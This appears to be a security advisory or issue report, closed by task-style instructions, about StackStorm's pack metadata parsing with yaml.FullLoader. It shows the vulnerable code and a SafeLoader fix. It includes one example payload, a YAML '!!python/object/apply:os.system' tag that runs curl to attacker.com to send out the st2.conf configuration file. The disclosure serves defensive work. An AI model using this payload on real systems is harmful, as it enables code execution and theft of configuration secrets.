yaml.FullLoader used instead of SafeLoader in pack metadata parsing (CWE-502)

Summary

Pack metadata YAML files are parsed using yaml.FullLoader, which can instantiate arbitrary Python objects. If a malicious or compromised pack contains a crafted YAML metadata file, this could lead to arbitrary code execution during pack cloning or installation.

Affected File

st2common/st2common/services/packs.py (line 388)

with open(dest_metadata_file_path) as df:
    doc = yaml.load(df, Loader=yaml.FullLoader)

This is called in the clone_action_files function, which executes during pack management operations.

Impact

yaml.FullLoader resolves Python-specific YAML tags such as !!python/object, !!python/object/apply, and !!python/module. A malicious pack metadata file could contain:

name: !!python/object/apply:os.system ["curl attacker.com/exfil?data=$(cat /etc/st2/st2.conf)"]

This would execute arbitrary commands when the YAML file is parsed during pack installation or cloning. Since pack installation often runs with elevated privileges (the StackStorm system user), this could compromise the entire StackStorm deployment.

Attack vector: A user with permission to install packs from external sources (git repositories, StackStorm Exchange) could install a pack containing a malicious metadata file. The code execution occurs during the YAML parsing step, before any other validation.

Recommended Fix

Replace yaml.FullLoader with yaml.SafeLoader:

with open(dest_metadata_file_path) as df:
    doc = yaml.load(df, Loader=yaml.SafeLoader)

Or use the convenience function:

with open(dest_metadata_file_path) as df:
    doc = yaml.safe_load(df)

yaml.SafeLoader only supports basic YAML types (strings, numbers, lists, dicts, booleans, null) and will not instantiate Python objects.

References

• CWE-502: Deserialization of Untrusted Data
• PyYAML Documentation: Loading YAML
• Discovered via manual code review

Start in st2common/st2common/services/packs.py at clone_action_files and inspect the metadata parsing around line 388. Change the loader used for the pack metadata YAML to the safe alternative described in the issue, then verify that pack cloning or installation still parses ordinary metadata without instantiating Python objects.